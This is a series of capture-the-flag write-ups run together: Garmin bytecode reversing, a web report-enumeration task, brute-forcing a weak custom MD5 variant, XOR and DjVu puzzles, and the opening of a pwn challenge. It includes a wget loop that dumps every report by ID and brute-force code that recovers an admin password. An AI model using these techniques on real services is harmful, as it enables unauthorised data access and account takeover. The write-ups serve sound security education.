There is for one the official [SDK](https://developer.garmin.com/connect-iq/sdk/) which most interestingly contains a compiler and simulator.There also is an unofficial project called [ciqdb](https://github.com/pzl/ciqdb) for parsing PRG files and even though a lot of functionality seems to be missing it's still helpful.
### Step 3 - Try out all the tools
Starting with the simulator, running the application shows characters of the flag appearing.At first it's pretty fast but it slows down and after 7 characters nothing appears anymore and it seems frozen.The most interesting feature I noticed in the simulator is the memory viewer:

Interesting is the `magic` array. Also notable was an array called `target` which contained a few powers of three.
Ok next ciqdb, which outputs tons of information regarding entry points, data, fields, code, classes, line of code tables, symbols, resources, exceptions and the signature.
A bit of browsing and the interesting `timerCallback`, `solve` and `drawFlag` names turn up.
``` extends Offset: 400000d7 static Entry: 0 parent module: globals module ID: Unknown Symbol ID: 0 app types: 7f fields: magic: 0 Null target: 0 Null idx: 4294967295 Int myTimer: 0 Null timerCallback: 268435913 Method solve: 268435953 Method drawFlag: 268436065 Method idx: 268436654 hidden Method Unknown Symbol ID: 94: 268435554 Method Unknown Symbol ID: 174: 32 Int globals/Rez: 268435611 Method globals/Rez/Menus: 268435636 Method Unknown Symbol ID: 123: 850 String Unknown Symbol ID: 255: 1073742039 hidden ClassDefinition```
The Line Number Table says these all belong to the `hitconView.mc` file, interesting.
``` C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:41 timerCallback (pc 268435913) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:42 timerCallback (pc 268435917) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:43 timerCallback (pc 268435936) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:46 solve (pc 268435953) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:47 solve (pc 268435957) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:48 solve (pc 268435964) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:50 solve (pc 268435985) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:51 solve (pc 268436008) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:52 solve (pc 268436018) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:53 solve (pc 268436046) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:54 solve (pc 268436050) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:55 solve (pc 268436054) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:57 solve (pc 268436061) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:60 drawFlag (pc 268436065) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:61 drawFlag (pc 268436069) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:62 drawFlag (pc 268436105) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:63 drawFlag (pc 268436117) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:64 drawFlag (pc 268436153) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:65 drawFlag (pc 268436172) C:\Users\lyc\eclipse-workspace\hitcon\source\hitconView.mc:66 drawFlag (pc 268436191)```
### Step 4 - Looking at the code
Wait, ciqdb shows `c0debabe - Code (2243 bytes)` but no disassembly or anything of the sort?The official debugger doesn't seem to be able to show bytecode either (or even load binaries without additional debug information).[And there is no documentation of the bytecode either..](https://forums.garmin.com/developer/connect-iq/f/discussion/7675/is-there-some-reference-of-the-connect-iq-vm-instruction-set)
This would be pretty bad.... if the compiler the sdk provides wasn't within a potential interesting JAR file.Through lots of deduction this lead to the results in `runrunrun/disassemble.py` which also incorporates the knowledge from the Line Number Table.
```timerCallback: 0x100001c9: ARGC 01 0x100001cb: INCSP 00 0x100001cd: LGETV 00 0x100001cf: SPUSH 00000018 0x100001d4: DUP 01 0x100001d6: DUP 01 0x100001d8: GETV 0x100001d9: IPUSH 00000001 0x100001de: ADD 0x100001df: PUTV 0x100001e0: SPUSH 00800011 0x100001e5: GETM 0x100001e6: SPUSH 008001a2 0x100001eb: GETV 0x100001ec: FRPUSH 0x100001ed: INVOKE 01 0x100001ef: POPV 0x100001f0: RETURN ```
The parameters are naively just append as hex-bytes, but this seems to work for all relevant instructions.For anyone familiar with Java or Dalvik Bytecode this probably already looks very understandable.
What we have here is a stack machine with relative simple instructions.
Annotated this function would be:
```timerCallback: 0x100001c9: ARGC 01 ; This function has 1 argument (I assume the *this* context) 0x100001cb: INCSP 00 ; Reserve 0 local variables 0x100001cd: LGETV 00 ; Get the *this* context 0x100001cf: SPUSH 00000018 ; Push the symbol 24 "idx" 0x100001d4: DUP 01 ; Duplicate stack value 0x100001d6: DUP 01 ; Duplicate stack value 0x100001d8: GETV ; Read the symbols value 0x100001d9: IPUSH 00000001 ; Push the integer 1 0x100001de: ADD ; Add top two elements 0x100001df: PUTV ; Write value to symbol, so idx = idx + 1; 0x100001e0: SPUSH 00800011 ; Push the symbol 8388625 "Toybox_WatchUi" 0x100001e5: GETM ; Read the symbols value 0x100001e6: SPUSH 008001a2 ; Push the symbol 8389026 "requestUpdate" 0x100001eb: GETV ; Read the symbols value 0x100001ec: FRPUSH ; Push the method? 0x100001ed: INVOKE 01 ; Invoke function 0x100001ef: POPV ; Pop return value 0x100001f0: RETURN ; return from the function```
Some of this annotation is still lacking but it's good enough to understand the functionality.Now to the actual interesting methods:
```onUpdate: 0x100000b4: ARGC 02 ; This function has 2 arguments, *this* and *dc*, The device context (https://developer.garmin.com/connect-iq/api-docs/Toybox/WatchUi/View.html) 0x100000b6: INCSP 01 ; Reserve one local variable 0x100000b8: LGETV 00 0x100000ba: SPUSH 008002ff ; Push the symbol 8389375 "WatchFace" 0x100000bf: GETV 0x100000c0: SPUSH 00800204 ; Push the symbol 8389124 "onUpdate" 0x100000c5: GETV 0x100000c6: FRPUSH 0x100000c7: LGETV 01 0x100000c9: INVOKE 02 0x100000cb: POPV 0x100000cc: LGETV 00 0x100000ce: SPUSH 00000019 ; Push the symbol 25 "myTimer" 0x100000d3: GETV 0x100000d4: SPUSH 0080005b ; Push the symbol 8388699 "stop" 0x100000d9: GETV 0x100000da: FRPUSH 0x100000db: INVOKE 01 0x100000dd: POPV 0x100000de: LGETV 00 0x100000e0: SPUSH 00000018 ; Push the symbol 24 "idx" 0x100000e5: GETV 0x100000e6: IPUSH 00000000 0x100000eb: GTE 0x100000ec: DUP 00 0x100000ee: BF 0012 0x100000f1: LGETV 00 0x100000f3: SPUSH 00000018 ; Push the symbol 24 "idx" 0x100000f8: GETV 0x100000f9: LGETV 00 0x100000fb: SPUSH 008000ae ; Pushg the symbol 8388782 "size" 0x10000100: GETV 0x10000101: LT 0x10000102: AND 0x10000103: BF 004e 0x10000106: LGETV 00 ; Get the *this* context 0x10000108: SPUSH 0000001b ; Push the symbol 27 "solve" 0x1000010d: GETV ; Get the "solve" method value 0x1000010e: FRPUSH ; Push the method? 0x1000010f: INVOKE 01 ; Invoke the "solve" method 0x10000111: IPUSH 00000100 ; Push 0x100 0x10000116: MOD ; Push solve(this) % 0x100 0x10000117: LPUTV 02 ; local2 = solve(this) % 0x100 0x10000119: LGETV 02 ; Push local2 0x1000011b: LGETV 00 ; Get the *this* context 0x1000011d: SPUSH 00000016 ; Push the symbol 22 "magic" 0x10000122: GETV ; Get the "magic" array value 0x10000123: LGETV 00 ; Get the *this* context 0x10000125: SPUSH 00000018 ; Push the symbol 24 "idx" 0x1000012a: GETV ; Get the "idx" integer value 0x1000012b: AGETV ; Push this.magic[this.idx] 0x1000012c: XOR ; Push this.magic[this.idx] ^ solve(this) % 0x100 0x1000012d: LPUTV 02 ; local2 = this.magic[this.idx] ^ solve(this) % 0x100 0x1000012f: LGETV 00 ; Get the *this* context 0x10000131: SPUSH 0080027b ; Push the symbol 8389243 "flag" 0x10000136: DUP 01 ; Duplicate stack value 0x10000138: DUP 01 ; Duplicate stack value 0x1000013a: GETV ; Read "flag" value 0x1000013b: LGETV 02 ; Push local2 0x1000013d: SPUSH 008004c6 ; Push the symbol 8389830 "toChar" 0x10000142: GETV ; Get the "toChar" value 0x10000143: FRPUSH ; Push the method? 0x10000144: INVOKE 01 ; Invoke toChar(local2) 0x10000146: SPUSH 008000af ; Push symbol 8388783 "toString" 0x1000014b: GETV ; Get the "toString" value 0x1000014c: FRPUSH ; Push the method? 0x1000014d: INVOKE 01 ; Invoke toString(toChar(local2)) 0x1000014f: ADD ; Push flag+toString(toChar(local2)) 0x10000150: PUTV ; flag = flag+toString(toChar(local2)) 0x10000151: GOTO 0000 0x10000154: LGETV 00 0x10000156: SPUSH 0000001c ; Push the symbol 28 "drawFlag" 0x1000015b: GETV 0x1000015c: FRPUSH 0x1000015d: LGETV 01 0x1000015f: LGETV 00 0x10000161: SPUSH 0080027b ; Push the symbol 8389243 "flag" 0x10000166: GETV 0x10000167: INVOKE 03 0x10000169: POPV 0x1000016a: LGETV 00 0x1000016c: SPUSH 00000018 ; Push the symbol 24 "idx" 0x10000171: GETV 0x10000172: IPUSH 00000001 0x10000177: ADD 0x10000178: LGETV 00 0x1000017a: SPUSH 008000ae ; Pushg the symbol 8388782 "size" 0x1000017f: GETV 0x10000180: LT 0x10000181: BF 0044 0x10000184: LGETV 00 0x10000186: SPUSH 00000019 ; Push the symbol 25 "myTimer" 0x1000018b: GETV 0x1000018c: SPUSH 0080005a ; Push the symbol 8388698 "start" 0x10000191: GETV 0x10000192: FRPUSH 0x10000193: LGETV 00 0x10000195: SPUSH 008000b2 ; Push the symbol 8388786 "method" 0x1000019a: GETV 0x1000019b: FRPUSH 0x1000019c: SPUSH 0000001a ; Push the symbol 26 "timerCallback" 0x100001a1: INVOKE 02 0x100001a3: LGETV 00 0x100001a5: SPUSH 00000017 ; Push the symbol 23 "target" 0x100001aa: GETV 0x100001ab: LGETV 00 0x100001ad: SPUSH 00000018 ; Push the symbol 24 "idx" 0x100001b2: GETV 0x100001b3: IPUSH 00000001 0x100001b8: ADD 0x100001b9: AGETV 0x100001ba: IPUSH 00000064 0x100001bf: MUL 0x100001c0: BPUSH 00 0x100001c2: INVOKE 04 0x100001c4: POPV 0x100001c5: GOTO 0000 0x100001c8: RETURN ```
Now for the `solve` function:
```solve: 0x100001f1: ARGC 01 ; This function has 1 argument (I assume the *this* context) 0x100001f3: INCSP 05 ; There are 5 local variables 0x100001f5: IPUSH 00000000 0x100001fa: LPUTV 01 ; lvar1 = 0 0x100001fc: IPUSH 00000001 0x10000201: LPUTV 02 ; lvar2 = 1 0x10000203: IPUSH 00000001 0x10000208: LPUTV 03 ; lvar3 = 1 0x1000020a: IPUSH 00000001 0x1000020f: LPUTV 04 ; lvar4 = 1 0x10000211: LGETV 01 ; Push lvar1 0x10000213: LGETV 00 ; Get the *this* context 0x10000215: SPUSH 00000017 ; Push the symbol 23 "target" 0x1000021a: GETV ; Get the target value 0x1000021b: LGETV 00 ; Get the *this* context 0x1000021d: SPUSH 00000018 ; Push the symbol 24 "idx" 0x10000222: GETV ; Get the idx value 0x10000223: AGETV ; Push this.target[this.idx] 0x10000224: LT ; Compared lvar1 < this.target[this.idx] 0x10000225: BF 0035 ; If false goto 0x1000025d 0x10000228: LGETV 01 0x1000022a: IPUSH 00000001 0x1000022f: ADD 0x10000230: LPUTV 01 ; lvar1 = lvar + 1 0x10000232: IPUSH 00000002 0x10000237: LGETV 02 0x10000239: MUL ; push lvar2 * 2 0x1000023a: LGETV 03 0x1000023c: ADD ; push lvar2 * 2 + lvar3 0x1000023d: IPUSH 00000007 0x10000242: LGETV 04 0x10000244: MUL ; push lvar4 * 7 0x10000245: ADD ; push lvar2 * 2 + lvar3 + lvar4 * 7 0x10000246: IPUSH 00007a69 0x1000024b: MOD ; push (lvar2 * 2 + lvar3 + lvar4 * 7) % 31337 0x1000024c: LPUTV 05 ; lvar5 = (lvar2 * 2 + lvar3 + lvar4 * 7) % 31337 0x1000024e: LGETV 03 0x10000250: LPUTV 04 ; lvar4 = lvar3 0x10000252: LGETV 02 0x10000254: LPUTV 03 ; lvar3 = lvar2 0x10000256: LGETV 05 0x10000258: LPUTV 02 ; lvar2 = lvar5 0x1000025a: GOTO ffb4 ; Goto 0x10000211 0x1000025d: LGETV 02 0x1000025f: RETURN ; Return lvar2 0x10000260: RETURN ```
### Step 5 - Reimplementation
The relevant part of the `onUpdate` can be easily translated to
```pythonflag = ""for i in range(len(magic)): flag += chr((solve(i)%0x100) ^ magic[i])```
For the reimplementation of `solve` it's important to recall that in memory we saw that the `target` array contains the powers of 3 in sequential order:
```pythondef solve(idx): lvar2 = 1 lvar3 = 1 lvar4 = 1 for lvar1 in range(0, (3**idx)): lvar5 = ((lvar3 + (lvar2 * 2)) + (lvar4 * 7))% 31337 lvar4 = lvar3 lvar3 = lvar2 lvar2 = lvar5 return lvar2```
hitcon{You_hAv3_ We are getting there! But why is this taking so long... turns out `3**idx` can get quite large, for the last character this would mean `617673396283947` iterations... yeah that isn't happening.
### Step 6 - Smart Math Trickery
I wasn't smart enough for the optimizing but my teammate esrever from polygl0ts was quick to find the answer:
It turns out
 can be turned into

(Assuming that input x > 0)
Computing the solve values this way is very fast (especially within modulo 31337), making it finally possible to solve this challenge:
```pythonmagic = [98, 32, 84, 253, 217, 18, 92, 22, 112, 138, 147, 46, 168, 229, 31, 149, 72, 94, 191, 124, 21, 176, 10, 104, 154, 213, 235, 25, 237, 61, 18, 15]
solveArray = [10, 73, 3360, 20638, 28598, 17532, 5671, 17999, 7711, 3071, 22732, 26694, 20457, 1939, 10540, 11722, 24188, 4718, 9952, 24078, 9312, 22526, 30293, 13358, 29098, 19623, 27022, 27759, 9438, 21839, 21043, 6258, 29448] flag = ""for i in range(len(magic)): flag += chr((solveArray[i]%0x100) ^ magic[i])print(flag)```
hitcon{You_hAv3_40_ruN_F0rev3r!}
|
# cypherpunk2077Category: web
Points: 392
Solved by: hdesk, drw0if
## Problem
If you have found any bugs in latest AAA projects, please report them using this pretty good service.
[Link](http://tasks.kksctf.ru:30030/)## Writeup
Starting the navigation we are greeted with two links:

[Report](http://tasks.kksctf.ru:30030/report)
[Keys](http://tasks.kksctf.ru:30030/keys)
Let's start with the second one: the page shows up only one entry:
[Public key](http://tasks.kksctf.ru:30030/keys/public)
whose content can be found in the [public](public) file. Guessing we changed the url to *private* and we found the private key too. The content can be found in the [private](private) file.
Let's move to the report funcionality. There is a textbox and a name. Let's try to sign a message with the public key and submit it via the form:
```bashgpg --import private # to import the private key
echo 'test-string' > in.txt
gpg -u trust -a -e in.txt # with report as username
cat in.txt.asc-----BEGIN PGP MESSAGE-----
hQGMAyDF2996B8eFAQv7B6DRQqwoWUA5I/QYsG/eIyt0ezFVIMXsvwc8B/LjqjaZDXrQnDZrRRLWoVPqlWvlVFkQCFPgxhHcwCKQEdhalwKTBwaJHTG9cuNo/RpAPfRPejxBJIDvRvmvjhgd9o2HiiW/8qlh/0U+y3lomiPDEsnzu52fXqkztJPSDHqS4v+ERSGK8ZPDdSXMwo6Fgsp92RkZQGlhBAKZ6Yj5BElQaZwrc0T75RbvgKvsofhZ1ldwtaT2bFZezJc6EocGXfrxZQCK3JhNk/OHcl+qAgCPhcx+rAD41f4QDXeCBltDtMaF7zqfjYZ09r04uV8PZLsUvsjlOPuXwYG8rtJrnPJ1v4BOj5rmZqTM5f4+uP1mPfwBGnckG7NTHNpr5wmLaP3cy/eMax7x0dHkDRehOb0JUEQ7vufSEfbscu4BCL+2CLP+lFqpJbb2ZQeblE+hxrQWTJFugrQ3h3aylN4GGctsyJR1L2YJ/0A6kQ8co3e0p5ztCe+MsqRGcEJOmEe1BEVK0k0B49Q/V8OvrhLkbxe8Qd/ScAe4x+m9ZRrnwHi3XGJE0wFliGB20dttBjdFTAeH8iCgozP1LoYw7ayEPn4ufC5pAv5iCWSKejgdRzj7ag===79Cd-----END PGP MESSAGE-----```
Submitting this text we are moved to `http://tasks.kksctf.ru:30030/reports/3402`

Let's try to change the number:`http://tasks.kksctf.ru:30030/reports/1`

Bingo we have different text. Let's dump the entire report database.
```bashmkdir downloadedfor i in {1..3500};do wget http://tasks.kksctf.ru:30030/reports/$i -P downloadeddone```
Let's extract the message with some regex:```pythonimport sysimport reimport os
for l in os.listdir('downloaded'): with open(f'downloaded/{l}', 'r') as f: a = f.read()
regex = r'(-----BEGIN PGP MESSAGE-----(.|\n)*-----END PGP MESSAGE-----)' result = re.findall(regex, a)
with open(f'stripped/{l}', 'w') as f: f.write(result[0])
print(l)```
Let's decrypt them with the gpg tool itself:
```bashfor i in `ls extracted`; do gpg --decrypt extracted/$i 2> /dev/null 1>> out/dump echo '' >> out/dump echo $idone```
In the end checking the dump file we can easily locate the **real** flag:```kks{in_2077_what_makes_someon3_a_ctf_player7_getting_flag}``` |
After opening and exploring `server.go` script, you can find line 141 in main func:` http.HandleFunc("/login", loginHandler)`.
Now we understand, that url with `/login` at the end calls `loginHandler` function.
Let's look inside:
```func loginHandler(w http.ResponseWriter, r *http.Request) {
if err := r.ParseForm(); err != nil { fmt.Fprintf(w, "500: %v", err) return } username := r.FormValue("username") password := r.FormValue("password")
if strings.ToLower(username) != "admin" { fmt.Fprintf(w, "User not found!\n") return }
if MD5([]byte(password)) == "90829146b3603e2e7daf5031b2103e9e" { fmt.Fprintf(w, "Login successful! Flag is %s\n", flag) } else { fmt.Fprintf(w, "Password is not correct!\nExpected %s, got %s\n", "90829146b3603e2e7daf5031b2103e9e", MD5([]byte(password))) }}```So, there is 2 values which server checks: `username` and `password`.
It means, that correct url-request looks like this: `http://tasks.kksctf.ru:30020/login?username=admin&password=qwerty`
(Of course, we want to log in as admin, and `admin` is common username for it).***With `qwerty` password, server returns this:```Password is not correct!Expected 90829146b3603e2e7daf5031b2103e9e, got 67e129628458ce06fbc5bb76a58c5ca4```Because, as we have seen earlier, `MD5()` func result compares with `90829146b3603e2e7daf5031b2103e9e`.
To understand, how we can hack it, let's dive into this function:```func MD5(data []byte) string { b := digest(data) return hex.EncodeToString(b[:])}```and further into `digest(data)`:```func digest(data []byte) [16]byte { digest := md5.Sum(data) s := len(data) / 4 if s > 4 { s = 4 } for ss := 0; ss < s; ss++ { var F uint32
F = ^F
for i := 0; i < 4; i++ { F = (F << 8) ^ table[(F>>24)^(uint32(data[ss*4+i])&0xff)] } F = ^F
digest[ss*4+3] = byte((F >> 24) & 0xff) digest[ss*4+2] = byte((F >> 16) & 0xff) digest[ss*4+1] = byte((F >> 8) & 0xff) digest[ss*4+0] = byte(F & 0xff) } return digest}```Let's look at:```s := len(data) / 4if s > 4 { s = 4}```What is `s`? It represents, how many groups of 4 bytes are in our password
(If password length > 16, than 17, 18 and other characters simply ignores).
Further we iterate not through every byte, but every group of 4 bytes:```for ss := 0; ss < s; ss++ { ...}```It's important. Algorithm processes the password in groups of 4 bytes **separately**.
Notice, that if password is less than 4 characters, program never gets into this loop, and the whole function return just password's md5 hash.
At the end of this loop there are such lines:```digest[ss*4+3] = byte((F >> 24) & 0xff)digest[ss*4+2] = byte((F >> 16) & 0xff)digest[ss*4+1] = byte((F >> 8) & 0xff)digest[ss*4+0] = byte(F & 0xff)```We can see, that 4 bytes of `F` variable (`F` is `uint32`, so it takes only 4 bytes) writes to the current group of 4 bytes.
First useful fact, is that bytes are written in reverse order (little-endian).
Second — is that every byte is rewritten, so nothing remains of md5 and we don't need to reverse it!
Final hash - is simply some 4 numbers (`F`).
Now we can try to reverse this function deeper to find characters from `F`, but let's notice, that we can simply bruteforce every such group of 4 characters!
Byte is 256 possible values, so 4 bytes is 256⁴ = 4294967296, which is not too much.***But we need to gets this F's to compare with. Here is our admin's password hash: `90829146b3603e2e7daf5031b2103e9e`.
Firstly, split it into 4 bytes groups: `90829146 b3603e2e 7daf5031 b2103e9e`.
Now remember, that it is little-endian, so reverse bytes for every number: `46918290 2e3e60b3 3150af7d 9e3e10b2`.
Now we have F's to compare with!
So, here is dirty bruteforce code (from `F = ^F` to `F = ^F` is original algorithm code):``` for a := byte(0); a < 255; a++ { for b := byte(0); b < 255; b++ { for c := byte(0); c < 255; c++ { for d := byte(0); d < 255; d++ { var F uint32 F = ^F for i := 0; i < 4; i++ { if i == 0 { F = (F << 8) ^ table[(F>>24)^(uint32(a)&0xff)] } if i == 1 { F = (F << 8) ^ table[(F>>24)^(uint32(b)&0xff)] } if i == 2 { F = (F << 8) ^ table[(F>>24)^(uint32(c)&0xff)] } if i == 3 { F = (F << 8) ^ table[(F>>24)^(uint32(d)&0xff)] } } F = ^F if F == 0x46918290 { fmt.Println("=== 1 ===") fmt.Println(a) fmt.Println(b) fmt.Println(c) fmt.Println(d) } if F == 0x2e3e60b3 { fmt.Println("=== 2 ===") fmt.Println(a) fmt.Println(b) fmt.Println(c) fmt.Println(d) } if F == 0x3150af7d { fmt.Println("=== 3 ===") fmt.Println(a) fmt.Println(b) fmt.Println(c) fmt.Println(d) } if F == 0x9e3e10b2 { fmt.Println("=== 4 ===") fmt.Println(a) fmt.Println(b) fmt.Println(c) fmt.Println(d) } } } } }```After about 20 seconds we get this:```=== 1 ===41824199=== 4 ===71747545=== 3 ===756265119=== 2 ===1075211494```Turn it to right order: `41 82 41 99 107 52 114 94 75 62 65 119 71 74 75 45`
And then to ASCII: `)R)ck4r^K>AwGJK-`***Input it as password: `http://tasks.kksctf.ru:30020/login?username=admin&password=)R)ck4r^K%3EAwGJK-` and server returns...```Login successful! Flag is kks{1f_s0meth1ng_called_md5_1t_d0esnt_have_t0_be}```Nice, we found the flag without deep reversing! :D |
# Izzy**category :** reverse,**points :** 66,**solves :** 77.
## Description :Izzy was writing a novel based on Mayan culture. Will Tom finish her book so that she could rest in peace?
## Solution :There are 2 files in here,1. A script - command.sh<n/>.```$ cat command.sh #!/bin/bashexport i=99; grep -o . <<< cat flag.txt| while read letter; do i=$((i+1)); printf '%02x' "$(($(python3 -c "import os;import decimal; import time; decimal.getcontext().prec = 2992; index=int(os.environ.get('i')); x = str(decimal.Decimal(1) / decimal.Decimal((1010 - int(time.strftime('%m')))*1000 +1))[2:]; print(int(x[3*index:3*index+3]))") ^ $(printf '%#x\n' '"'$letter)))">>result.txt; done;```2. A text file - result.txt.```$ cat result.txt2855140337590c3434040c5b411346492b3113430c11254a49220a17b3def0b3b0e1f2b7d7bdfdb8```
We can understand from the script that characters from flag.txt were XOR'ed with certain numbers and the final hex values were printted in result.txt. From the result.txt we can also deduce that flag will be of 40 chars (since 80 hex chars).
A xor B = A⊕B => B = A xor (A⊕B)
So logically, feeding the binary output of result.txt to the same script logic should provide the hex values of flag.Okay lets do it. (take result.txt as backup)```$ xxd -r -p result.txt > flag.txt; mv result.txt result_old.txt$ ./command.sh$ xxd -r -p result.txtL0rd_0f_Xib41b4:_De4th_15_iX```We got a flag but if we count the chars, it doesn't tally to 40 chars. This is because of grep not getting all the chars in our flag.txt file where some special chars were present.
So to get the complete flag, below is a simple python script I had written which mostly contains the same python logic from the command.sh<n/> script.```$ cat inverse.py#!/bin/env python3
import os, decimal, time
decimal.getcontext().prec = 2992x = str(decimal.Decimal(1) / decimal.Decimal((1010 - int(time.strftime('%m')))*1000 +1))[2:]
index = 99flag = ""with open("result.txt", "r") as f: while (char := f.read(2)): char = bytes.fromhex(char) index += 1 flag += chr(ord(char) ^ int(x[3*index:3*index+3]))
print(flag)```Output :```$ ./inverse.py L0rd_0f_Xib41b4:_De4th_15_th3_r04dt0_4w3```
# Flag :ASIS{L0rd_0f_Xib41b4:_De4th_15_th3_r04dt0_4w3}
|
# Dream **category:** Forensics **points:** 77**solves:** 66
## DescriptionWe are in a dream, within another dream!
## SolutionThe challenge file is **flag.malformed**, examining it inside an hex editor I saw magicbytes like `FORM..|.DJVUINFO` which make me think it should be a DejaVu File.After examining some deja vu files I realised only the first hex line was missing, so I repaired the files with : ```(echo -n "\x41\x54\x26\x54\x46\x4f\x52\x4d\x00\x00\x5c\x1a\x44\x4a\x56\x4d" ; cat flag.malformed) > flag.djvu```Now `file` recognize it as `DjVu multiple page document`: ```$ file flag.djvu flag.djvu: DjVu multiple page document```
opening the file gives this : 
So the flag must be hidden inside the djvu file.I run the following command : ```$ djvused flag.djvu -e output-allselect; remove-ant; remove-txt# ------------------------- select "shared_anno.iff"set-ant(metadata (ModDate "2020-12-07 01:53:39+03:30") (CreationDate "2020-12-07 01:53:39+03:30") (Producer "GPL Ghostscript 9.53.3") (Creator "Draw") )(xmp "<x:xmpmeta xmlns:x=\"adobe:ns:meta/\" x:xmptk=\"XMP Core 4.4.0-Exiv2\">\n <rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\">\n <rdf:Description rdf:about=\"\"\n xmlns:pdf=\"http://ns.adobe.com/pdf/1.3/\">\n <pdf:Producer>GPL Ghostscript 9.53.3</pdf:Producer>\n </rdf:Description>\n <rdf:Description rdf:about=\"\"\n xmlns:xmp=\"http://ns.adobe.com/xap/1.0/\">\n <xmp:ModifyDate>2020-12-07T01:53:39+03:30</xmp:ModifyDate>\n <xmp:CreateDate>2020-12-07T01:53:39+03:30</xmp:CreateDate>\n <xmp:CreatorTool>Draw</xmp:CreatorTool>\n <xmp:MetadataDate>2020-12-07T01:53:48+03:30</xmp:MetadataDate>\n </rdf:Description>\n <rdf:Description rdf:about=\"\"\n xmlns:xapMM=\"http://ns.adobe.com/xap/1.0/mm/\"\n xmlns:stEvt=\"http://ns.adobe.com/xap/1.0/sType/ResourceEvent#\">\n <xapMM:DocumentID>urn:uuid:185dbf2b-49d9-4510-9a6d-1ef0f14b6a5c</xapMM:DocumentID>\n <xapMM:History>\n <rdf:Seq>\n <rdf:li rdf:parseType=\"Resource\">\n <stEvt:action>converted</stEvt:action>\n <stEvt:parameters>from application/pdf to image/vnd.djvu</stEvt:parameters>\n <stEvt:instanceID>urn:uuid:6c6d400f-1dda-4a0c-b091-e8e66fb4bf47</stEvt:instanceID>\n <stEvt:softwareAgent>pdf2djvu 0.9.17.1 (DjVuLibre 3.5.28, Poppler 20.09.0, GraphicsMagick++ 1.4, Exiv2 0.27.3)</stEvt:softwareAgent>\n <stEvt:when>2020-12-07T01:53:48+03:30</stEvt:when>\n </rdf:li>\n </rdf:Seq>\n </xapMM:History>\n <xapMM:InstanceID>urn:uuid:6c6d400f-1dda-4a0c-b091-e8e66fb4bf47</xapMM:InstanceID>\n <xapMM:OriginalDocumentID>uuid:3d2f6866-702e-11f6-0000-216ee43aad0a</xapMM:OriginalDocumentID>\n </rdf:Description>\n <rdf:Description rdf:about=\"\"\n xmlns:dc=\"http://purl.org/dc/elements/1.1/\">\n <dc:format>image/vnd.djvu</dc:format>\n <dc:title>\n <rdf:Alt>\n <rdf:li xml:lang=\"x-default\">Untitled</rdf:li>\n </rdf:Alt>\n </dc:title>\n </rdf:Description>\n </rdf:RDF>\n</x:xmpmeta>\n").# ------------------------- select "p0001.djvu" # page 1set-txt(page 0 0 2550 3300 (line 928 1833 1058 1841 (word 928 1833 988 1841 "ASIS{_DJVU_f1L3") (word 989 1834 1026 1841 "_f0rM4t_iZ") (word 1027 1833 1058 1841 "_DejaVu}")) (line 552 2637 671 2668 (word 552 2637 671 2668 "ASIS{")) (line 2186 2637 2197 2668 (word 2186 2637 2197 2668 "}")) (line 252 2890 2386 2930 (word 252 2900 284 2928 "A") (word 315 2899 464 2930 "dream") (word 497 2899 551 2930 "is") (word 587 2899 614 2922 "a") (word 648 2899 944 2930 "succession") (word 978 2899 1035 2930 "of") (word 1069 2890 1264 2930 "images,") (word 1310 2892 1475 2930 "ideas,") (word 1518 2892 1775 2930 "emotions,") (word 1820 2899 1909 2930 "and") (word 1942 2899 2235 2930 "sensations") (word 2269 2899 2386 2930 "that")) (line 253 2840 2388 2880 (word 253 2840 462 2880 "usually") (word 519 2849 666 2872 "occur") (word 724 2840 1110 2880 "involuntarily") (word 1168 2850 1224 2880 "in") (word 1279 2849 1367 2880 "the") (word 1422 2849 1544 2880 "mind") (word 1598 2840 1777 2880 "during") (word 1833 2849 2040 2880 "certain") (word 2098 2840 2272 2879 "stages") (word 2331 2849 2388 2880 "of")) (line 256 2791 422 2831 (word 256 2791 422 2831 "sleep.")))
```
The flag is : **ASIS{_DJVU_f1L3_f0rM4t_iZ_DejaVu}** |
# Happy New Year (parts 1, 2, 3)Category: Pwn
Points: 504 - 556 - 650
Solved by: drw0if - kusky
## Problem
### Part 1:
The new year is approaching, so kksctf offers you to play secret Santa. The rules are simple, you go in, choose who to send your greetings to and wait for someone to congratulate you.
Note: the recipient doesn't know who send the email. Share a little happiness with this app. Good luck!
Oh, Yes, I almost forgot, they brought you some big gift.
nc tasks.kksctf.ru 30040
### Part 2:
Will you be able to become the main Santa?
### Part 3:
Have you found the root for all the presents?
## Writeup
### Part 1:The challenge comes with a 64 bit stripped ELF [file](gift).
Before reversing the binary let's use the netcat service to have an idea about the software:
We are greeted with a simple menu with 3 choices:
Let's register since we don't have an account

Now we have a new menu with 4 choices. Let's try all of them:



Seems that there is nothing more we can do here.
Let's start with the reverse. We opened it in Ghidra and as always if the binary is stripped we can find the main function from the entry point since a pointer to the main function is the first argument passed to `__libc_start_main`.


Main function is just used to check if a parameter is passed to the program, then attempts to convert the parameter into an integer and passes it to a function. This function tries to open a socket connection on the port specified as argument.

Let's have a deep dive into the connection handler function:
The first block is used to handle the menu and the signup/signin phase

The function that handles `show participant` function is a wrapper to another function which execute sqlite query:

The query isn't treated as a stirng by Ghidra for an unknown reaso but forcing it to treat the byte sequence as a CterminatedString the result is```SELECT username from users where username != 'kks_santa';```

This is a simple select query so not enough to discuss.
Let's have a look at the signup handler:

The username and the password are requested. The username is passed via a simple series of check that prevents sqlinjections since if the checks fails `Bad username! Evil h4ck3r` is printed.
